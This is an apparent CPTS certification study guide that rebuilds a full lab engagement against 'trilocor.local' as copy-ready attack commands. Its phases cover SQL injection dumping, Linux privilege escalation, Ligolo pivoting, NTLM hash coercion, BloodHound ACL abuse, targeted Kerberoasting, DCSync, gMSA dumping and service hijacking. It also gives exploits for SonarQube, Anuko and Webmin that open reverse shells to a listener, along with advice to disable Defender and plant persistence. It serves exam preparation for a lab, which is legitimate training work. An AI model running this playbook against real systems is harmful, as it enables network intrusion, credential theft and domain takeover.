FLOW ^: Pentest Workflow

CPTS Exam Attack Flow

CPTS companion guide: CPTS Exam Attack Flow — copy-ready methodology and commands.

intermediate updated 2026-07-18

[!abstract] > ABOUT_THIS_GUIDE The attack flow of a full CPTS-style engagement, rebuilt from the Red Block trilocor.local writeup. Unlike a single HTB box, the exam is one big segmented network: an external DMZ, a pivot into internal AD, a long ACL/credential chain to Domain Admin, a forest trust into a second domain, and a dev-apps subnet. Command syntax lives in CPTS-Exam-Most-Used-Commands; the HTB-box methodology is in Attack-Flow-Guide. IPs/creds below are the writeup’s examples — swap in your own.

[!tip]+ > EXAM MINDSET

  1. It’s one network, not ten boxes. Every host you own is a pivot to the next subnet. Set up Ligolo early and keep a route map.
  2. Loot > exploits. The chain was driven by creds in files: SQLi dumps, NFS scripts, sublime/OneNote notes, AxCrypt/Ansible vaults, .bak config files, LaZagne/LSA secrets.
  3. New cred = re-enumerate. BloodHound + spray every new identity. The DA path was ~7 chained users via ACLs.
  4. Persist before you pivot. Grab /root/.ssh/id_rsa and note every cred — lab resets happen.
  5. Clock skew breaks Kerberoasting → sudo ntpdate <DC>.
  6. Take screenshots + note every flag location as you go (exam report requirement).

// FIRST_30_MINUTES (do this before anything else)

[!example]+ > OPENING MOVES

  1. Connect + confirm scope. Connect the exam VPN, read the assessment letter: how many flags, in-scope IP ranges/domains, and any given credentials (assume-breach). Note the flag count as your progress bar.
  2. Set up your workspace + trackers. These three files win the exam:
    mkdir -p ~/cpts/{recon,loot,scans,exploits,screenshots}
    cd ~/cpts
    : > creds.md      # user : pass/hash : where found : what it unlocks
    : > hosts.md      # ip : hostname : os : role : how owned : flag?
    : > pivot.md      # interface : subnet reachable : via which host
  3. Kick off long scans in the background, work manually in the foreground.
    export IP=<entry_host>
    nmap -p- --min-rate 5000 -oA scans/allports $IP &        # full TCP (background)
    sudo nmap -sU --top-ports 100 -oA scans/udp $IP &        # UDP top (background)
  4. Fingerprint the open ports as soon as the fast scan returns, then start on web/given-cred services while the full scan finishes:
    nmap -p <open,ports> -sCV -oA scans/services $IP
  5. If given a domain name / creds, validate them straight away and jump to enumeration (SMB/LDAP/BloodHound). If given only an IP, the foothold is almost always web.

[!warning] Don’t rabbit-hole. Set a soft timer (~30-45 min) per avenue. If a service isn’t giving, note it in hosts.md and move on. Come back with new creds.


// TRIAGE — WHAT TO ATTACK FIRST

[!tip]+ > PRIORITY ORDER when a scan reveals many hosts/ports

  1. Given credentials (assume-breach) — validate over SMB/WinRM/SSH first, they open the fastest path.
  2. Web apps on the entry host — most CPTS footholds are a web bug (SQLi, upload, LFI, known-CMS RCE).
  3. Known-vulnerable software by version — SonarQube, Webmin, Anuko, Jenkins, GitLab, Tomcat, Confluence. Version → searchsploit → PoC.
  4. File services for loot — SMB/NFS/FTP shares, backups, deploy scripts, config .bak files.
  5. The DC — enumerate early (BloodHound) but you usually exploit it last, after the ACL chain.
  6. Brute force — last resort, run in the background, never block on it.

[!info] Rule of thumb: enumeration first, exploitation second. Every foothold in this engagement came from reading something (a dump, a note, a script, a vault), not from a flashy exploit.


// NETWORK_MAP (example)

Engagement network mapLR
KALI10.10.14.x
exploit
WEB-DMZ01(public)
ligolo tun
172.16.139.0/24DC01 · SRV01
ligolo double
172.16.210.0/24DC02 · DEV01 · MGMT01

// MASTER_FLOW

Master engagement flowTD
1. EXTERNAL RECONAXFR + vhost fuzz
2. WEB FOOTHOLDSQLi -> creds -> shell
3. LINUX PRIVESCuftpd traversal + sudo GTFObin
4. PIVOT (Ligolo)ping sweep + route add
5. LOOT PIVOT HOSTSNFS scripts / notes / hashes
6. AD FOOTHOLDLaZagne/Inveigh -> first domain user
7. ACL CHAIN (BloodHound)ForceChangePW -> GenericWrite -> Kerberoast
8. SHARE LOOTAxCrypt / OneNote / vault -> svc creds
9. DCSYNCAccount Operators -> Exchange TS -> DA
10. FOREST TRUSTgMSA read -> svc account
11. DEV APPSSonarQube / Anuko / Webmin -> root

// PHASE_1 — EXTERNAL RECON

[!info] Look for: the internal domain name, a permissive nameserver (zone transfer), virtual hosts, staging/self-service portals.

[!terminal]+ Enumerate

# zone transfer against the internal NS — instantly maps subdomains
dig axfr trilocor.local @$IP
# vhost brute if AXFR is refused
wfuzz -u http://$IP -H "Host: FUZZ.trilocor.local" -w /usr/share/seclists/Discovery/DNS/services-names.txt --hl <baseline>
# add every discovered vhost to /etc/hosts
echo "$IP trilocor.local blog.trilocor.local dev.trilocor.local selfservicestg.trilocor.local ..." | sudo tee -a /etc/hosts

[!tip] AXFR exposed blog/dev/jobs/nms/selfservicestg/hrportal/shop/admin — the staging self-service portal is where the first bug lived. Fuzz all vhosts, prioritise staging/dev/self-service.


// PHASE_2 — WEB FOOTHOLD

[!info] Look for: injectable parameters (password-reset email fields, search), forms that talk to a DB. Mark the injection point with * for sqlmap.

[!terminal]+ Test

# capture the POST in Burp, put * on the target param, save as email_post.req
#   email=*
sqlmap -r email_post.req --batch --risk=3 --level=5 --threads 10 --dbs --dump
# -> dumped employees table (usernames + md5). Crack on crackstation / hashcat -m 0

Cracked DB creds became the reuse pool for the whole engagement. Keep a running users/passwords list.


// PHASE_3 — LINUX PRIVESC (DMZ host)

[!info] Look for (linPEAS): non-standard services (FTP on 2121 as a service user), anonymous login, path traversal, sudo -l NOPASSWD binaries, SSH keys.

[!terminal]+ Enumerate + test

./linpeas.sh                                   # find uftpd on 2121 running as srvadm
# stabilise the shell before interactive tools
python3 -c 'import pty; pty.spawn("/bin/bash")'   # then Ctrl+Z; stty raw -echo; fg; export TERM=xterm
ftp 127.0.0.1 2121                              # anonymous, then path traversal:
#   ls ../../../../home/srvadm ; get ../../../../home/srvadm/.ssh/id_rsa
chmod 600 srvadm_id_rsa && ssh -i srvadm_id_rsa srvadm@localhost
sudo -l                                         # (ALL) NOPASSWD: /usr/bin/csvtool
sudo csvtool call '/bin/sh;false' /etc/passwd   # GTFOBins -> root
# PERSISTENCE: copy /root/.ssh/id_rsa off the box before pivoting

// PHASE_4 — PIVOT (Ligolo-ng)

[!info] Look for: internal subnets you can only reach through the compromised host. Set up the tunnel, ping-sweep, add routes. Repeat for each hop (double pivot).

[!terminal]+ Set up + sweep

# Kali side (first tunnel)
sudo ip tuntap add user kali mode tun ligolo && sudo ip link set ligolo up
./proxy -selfcert
# on the compromised host
./agent -connect $LHOST:11601 -ignore-cert
# back on Kali: session > start_tunnel, then route the internal subnet
sudo ip route add 172.16.139.0/24 dev ligolo
# DOUBLE PIVOT to the next subnet: new interface + route
sudo ip tuntap add user kali mode tun ligolo-double && sudo ip link set ligolo-double up
sudo ip route add 172.16.210.0/24 dev ligolo-double
# host discovery inside a subnet
for ip in $(seq 1 254); do ping -c1 -W1 172.16.139.$ip | grep "bytes from" | cut -d" " -f4 | tr -d ':'; done

[!tip] Ligolo was used ~17 times in this engagement. Alternatives: SSH dynamic forward (-D), chisel reverse SOCKS, socat. Keep a diagram of which route reaches which subnet.


// PHASE_5 — LOOT THE PIVOT HOSTS

[!info] Look for: NFS exports, setup/deploy scripts with hardcoded creds, SAM/SYSTEM dumps, cleartext creds via LaZagne.

[!terminal]+

showmount -e 172.16.139.35                      # /SRV01 exported
mkdir SRV01 && sudo mount -t nfs 172.16.139.35:/SRV01 SRV01
grep -ri "password\|jdbc\|secret" SRV01/         # liferay setup.py -> jdbc.default.password
# on a Windows pivot host with local admin:
secretsdump.py -sam SAM -system SYSTEM LOCAL     # local hashes
.\LaZagne.exe all                                # cleartext creds (found bvincent)

// PHASE_6 — AD FOOTHOLD

[!info] Look for: a first valid domain user (from LaZagne/loot), then coax hashes from privileged users via writable shares.

[!terminal]+ Validate + capture

echo 'PL<mko09ijn!' > bvincent.pass
nxc smb 172.16.139.3 -u bvincent -p bvincent.pass --shares   # write access to Print_queue
# collect BloodHound: SharpHound on a domain-joined host (disable Defender first)
#   .\SharpHound.exe -c all
# NTLMv2 coercion via a malicious .lnk dropped in the writable share, + Inveigh listener:
#   $lnk=(New-Object -ComObject WScript.Shell).CreateShortcut("C:\...\link.lnk")
#   $lnk.IconLocation="\\SRV01\@test.png"; $lnk.Save()   -> copy into Print_queue
#   Import-Module .\Inveigh.ps1   (captures NTLMv2 when DC browses the share)
hashcat -m 5600 phernandez.hash /usr/share/wordlists/rockyou.txt

[!tip] Also seen for local escalation to reach a domain user: Remote Mouse CVE-2021-35448 (LPE via Image Transfer Folder → SYSTEM cmd), net localgroup Administrators <user> /add + re-login + PsExec.


// PHASE_7 — THE ACL CHAIN (BloodHound)

[!info] This is the exam’s core. Own each account, mark it owned, read Outbound Object Control, abuse the edge, get the next account, repeat. The trilocor chain:

BloodHound ACL chainTD
phernandez(cracked)
HelpDesk TierIII
AllExtendedRights
reset ghiggins
IT Support Mgrs
GenericWrite
add self to Contractors
Contractors
GenericWrite over user
set SPN on divanovtargeted Kerberoast
crack TGS
divanov
share loot
svc_trilocoradm(AxCrypt/OneNote)
Account Operators
+ Exchange Trusted Subsystem
DCSync -> DA

[!terminal]+ The abuse commands (bloodyAD + targetedKerberoast)

# AllExtendedRights / ForceChangePassword -> reset target
bloodyAD --host $DC -d ad.trilocor.local -u phernandez -p bLink182 set password ghiggins Test@123
# GenericWrite over a group -> add self, inherit rights
bloodyAD -d ad.trilocor.local --host $DC -u ghiggins -p Test@123 add groupMember 'CONTRACTORS' ghiggins
# GenericWrite over a user -> set SPN -> targeted kerberoast
bloodyAD --host $DC -d ad.trilocor.local -u ghiggins -p Test@123 set object divanov servicePrincipalName -v 'any/SPN'
sudo ntpdate 172.16.139.3                        # fix skew first
python3 targetedKerberoast.py -v -d ad.trilocor.local -u ghiggins -p Test@123 --dc-ip $DC --request-user divanov
hashcat -m 13100 divanov.hash /usr/share/wordlists/rockyou.txt
# map what any account can write
bloodyAD --host $DC -d ad.trilocor.local -u divanov -p Dimitris2001 get writable --detail

[!tip] Also useful: deleted-user password reuse — a deleted account’s description held a password that still worked on the live _adm twin (fjenkins_testfjenkins_adm).


// PHASE_8 — SHARE LOOT → SERVICE CREDS

[!info] Look for: as soon as you gain a share-admin group, spider every share for backups, credential files, encrypted vaults.

[!terminal]+

nxc smb $DC -u fjenkins_adm -p 'fJ#nk!n$$@123' --shares
nxc smb $DC -u fjenkins_adm -p 'fJ#nk!n$$@123' --spider 'Department Shares' --regex .
smbclient "//$DC/Department Shares/" -U 'fjenkins_adm'   # pull the .axx / .one files
# AxCrypt backup:
axcrypt2john Trilocor_backup.axx > backup.hash && john backup.hash --wordlist=rockyou.txt
# OneNote credential file:
office2john "Creds.one" > onenote.hash && john onenote.hash --wordlist=rockyou.txt
#   -> svc_trilocoradm / svc_adconnect / svc_bakops creds

// PHASE_9 — DCSYNC → DOMAIN ADMIN

[!terminal]+

# Account Operators -> add self to a group that HAS DCSync (Exchange Trusted Subsystem)
bloodyAD -d ad.trilocor.local --host $DC -u svc_trilocoradm -p 'SvC_TR!l0cORAdm!23' \
  add groupMember 'EXCHANGE TRUSTED SUBSYSTEM' svc_trilocoradm
# confirm in BloodHound: "Find Principals with DCSync Rights"
impacket-secretsdump 'trilocor.local/svc_trilocoradm:SvC_TR!l0cORAdm!23@'$DC | tee dcsync.txt
nxc winrm $DC -u administrator -H <admin_NT>          # DA
xfreerdp /v:$DC /u:administrator /pth:<admin_NT> /cert:ignore /dynamic-resolution

// PHASE_10 — FOREST TRUST → SECOND DOMAIN

[!info] Look for: Get-DomainTrust output, a foothold user in the other domain, ReadGMSAPassword edges.

[!terminal]+

Get-DomainTrust                                  # bidirectional / within-forest
echo "172.16.210.5 mgmt.trilocorvendor.local DC02.mgmt.trilocorvendor.local" | sudo tee -a /etc/hosts
bloodhound-python -u mvargas_adm -p 'admin!@#' -d mgmt.trilocorvendor.local -ns 172.16.210.3 -c all --zip
# ReadGMSAPassword -> dump gMSA
python3 gMSADumper.py -u mvargas_adm -p 'admin!@#' -d mgmt.trilocorvendor.local -l 172.16.210.5
evil-winrm -i 172.16.210.5 -u 'svc_triconnect$' -H <gmsa_NT>
# local privesc: weak service perms -> hijack binPath
sc.exe config VMTools binPath= "cmd /c net localgroup Administrators svc_triconnect$ /add"
sc.exe stop VMTools && sc.exe start VMTools
impacket-secretsdump 'mgmt.trilocorvendor.local/svc_triconnect$@172.16.210.5' -hashes :<gmsa_NT>
# loot: vault.yml (Ansible Vault) -> ansible2john + john -> svc_ansible creds
ansible2john ansible-password.yml > a.hash && john a.hash -w=rockyou.txt
cat ansible-password.yml | ansible-vault decrypt

// PHASE_11 — DEV-APPS SUBNET

[!info] Look for: dev/CI web apps on odd ports (SonarQube 9000, Webmin 10000, Anuko), .bak config files with admin creds, LaZagne LSA secrets bridging app logins.

[!terminal]+ SonarQube 7.8 (9000) → SYSTEM

# creds from sonar.properties.bak -> log in admin -> version 7.8 is exploitable
git clone https://github.com/braindead-sec/pwnrqube && cd pwnrqube/totally-benign-plugin
# edit src/main/java/benign.java revshell to a PowerShell payload to your pivot:4444
mvn clean package
curl --user admin:<pw> -X POST -F file=@target/totally-benign-plugin-1.0.jar http://172.16.210.21:9000/api/updatecenter/upload
curl --user admin:<pw> -X POST http://172.16.210.21:9000/api/system/restart   # triggers SYSTEM revshell

[!terminal]+ Anuko Time Tracker (.34) → creds, Webmin (10000) → root

# Anuko admin via LaZagne DefaultPassword -> create group+user -> enable Puncher plugin
# CVE-2022-24707 SQLi:
python3 Anuko-SQL-Exploit.py --username tester --password <pw> --host http://172.16.210.34 \
  --sqli "SELECT GROUP_CONCAT(login,password) FROM tt_users"   # dump -> crack svc_webmin
# Webmin 1.996 CVE-2022-30708 -> root
git clone https://github.com/esp0xdeadbeef/rce_webmin && cd rce_webmin
python3 exploit.py --url http://172.16.210.34:10000 -pw <pw> -un svc_webmin -rh 172.16.210.3 -rp 4444

// PER-HOST PLAYBOOK (run on EVERY machine)

The same routine on every host you meet. Discover → foothold → post-shell → loot → escalate → pivot.

> A. ON DISCOVERY (before a shell)

[!terminal]+ Scan + fingerprint every new IP

export IP=<new_host>
nmap -p- --min-rate 5000 -oA scans/$IP-all $IP
nmap -p <open> -sCV -oA scans/$IP-svc $IP
# web? -> vhost fuzz + dirs + version-check every port that speaks HTTP
whatweb http://$IP:PORT ; curl -sI http://$IP:PORT
feroxbuster -u http://$IP:PORT -x php,aspx,html
# windows/AD? -> quick creds + shares check with anything you have
nxc smb $IP ; nxc smb $IP -u user -p pass --shares --users

Look for: given-cred services, web bugs, known-vuln versions, readable shares. Record the host in hosts.md.

> B. AFTER A SHELL — LINUX

[!terminal]+ First commands, then loot

id; hostname; ip a; sudo -l            # sudo -l FIRST (instant wins)
# stabilise shell
python3 -c 'import pty; pty.spawn("/bin/bash")'   # Ctrl+Z; stty raw -echo; fg; export TERM=xterm
./linpeas.sh | tee loot/$IP-linpeas.txt
find / -perm -u=s -type f 2>/dev/null   # SUID -> GTFOBins
cat /etc/crontab; ls -la /etc/cron.*
ls -la ~/.ssh /root/.ssh /home/*/.ssh 2>/dev/null       # keys
cat ~/.bash_history; env                 # tokens, hardcoded creds
grep -rEi "password|secret|jdbc|api[_-]?key" /var/www /opt /home /srv 2>/dev/null

Then: grab any SSH key for persistence, note new creds, and check reachable subnets (ip route, ip a) — this host may be your next pivot.

> C. AFTER A SHELL — WINDOWS

[!terminal]+ First commands, then loot

whoami /all                    # groups AND privileges (SeImpersonate/SeDebug/SeBackup)
systeminfo; ipconfig /all; route print       # note extra NICs -> pivot subnets
net user %username% /domain; net localgroup administrators
cmdkey /list                                   # stored creds
# loot
.\winPEASx64.exe | Out-File loot\winpeas.txt
.\LaZagne.exe all                              # cleartext creds / LSA / browsers
dir -recurse C:\ *.kdbx,*.axx,*.one,*.config,*.bak,*vault*,*.ps1 2>$null | select fullname
dir -recurse C:\ *.txt | select-string -pattern "password"

Then: if domain-joined, run SharpHound (disable Defender via GUI/Set-MpPreference first), and re-check ADCS/ACLs from this host’s context.

> D. ESCALATE (pick the lever)

[!tip]+

  • Linux: sudo -l binary (GTFOBins), SUID, cron, writable service, kernel/app CVE.
  • Windows local: SeImpersonate (Potato), SeDebug, weak service perms (sc.exe config binPath), unquoted path, known-app LPE (e.g. Remote Mouse CVE-2021-35448).
  • Windows domain: BloodHound outbound control → ACL abuse (see Phase 7) → DCSync.

> E. PIVOT + PERSIST (before you leave)

[!warning]+

  • Copy off any SSH key / hash / cleartext cred and log it.
  • Add this host as a Ligolo agent if it reaches a new subnet, then ip route add.
  • Set persistence (SSH key in authorized_keys, or an added local admin) in case of lab reset.
  • Grab the flag and record its exact path in hosts.md.

// PER-SUBNET PLAYBOOK (each time you pivot)

[!terminal]+ When a new subnet becomes reachable

sudo ip route add <new_subnet>/24 dev ligolo          # or ligolo-double
# host discovery through the tunnel
for ip in $(seq 1 254); do ping -c1 -W1 <net>.$ip | grep "bytes from" | cut -d" " -f4 | tr -d ':'; done
# scan each live host (proxychains if not routed via ligolo)
nmap -sn <new_subnet>/24 ; nmap -p- --min-rate 3000 <live_host>
# find + name the DC
nxc smb <live_host> --generate-hosts-file /etc/hosts
# re-run BloodHound from this vantage with any creds you hold
bloodhound-python -u user -p pass -d <domain> -ns <dc_ip> -c all --zip

Look for: a new DC (new domain/forest), dev-app ports (9000/10000/8080/8443/50000), file shares, and any host that bridges to yet another subnet. Update pivot.md.


// EXAM_CHECKLIST

[!todo]+ Don’t lose points

  • Screenshot every step + note every flag location (path + how obtained).
  • Keep a credential log (user : pass/hash : where found : what it unlocks).
  • Keep a route/pivot map (which interface reaches which subnet).
  • Set persistence (SSH key / added admin) before risky steps.
  • ntpdate before Kerberos; re-run BloodHound per new principal.
  • Re-check writable shares and get writable --detail at each new AD user.
  • Enumerate odd ports (9000/10000/8080/2121) — dev apps hold flags.

// REFERENCES

[!info]+ Source: CPTS Writeup by Red Block (trilocor.local). Tooling: bloodyAD, targetedKerberoast, Ligolo-ng, Inveigh, gMSADumper, LaZagne, Impacket, NetExec, certipy. Companion notes: CPTS-Exam-Most-Used-Commands · Attack-Flow-Guide · Most-Used-Commands.


#Methodology #CPTS-Prep #CPTS-Exam #AD #Pivoting #Workflow #HTB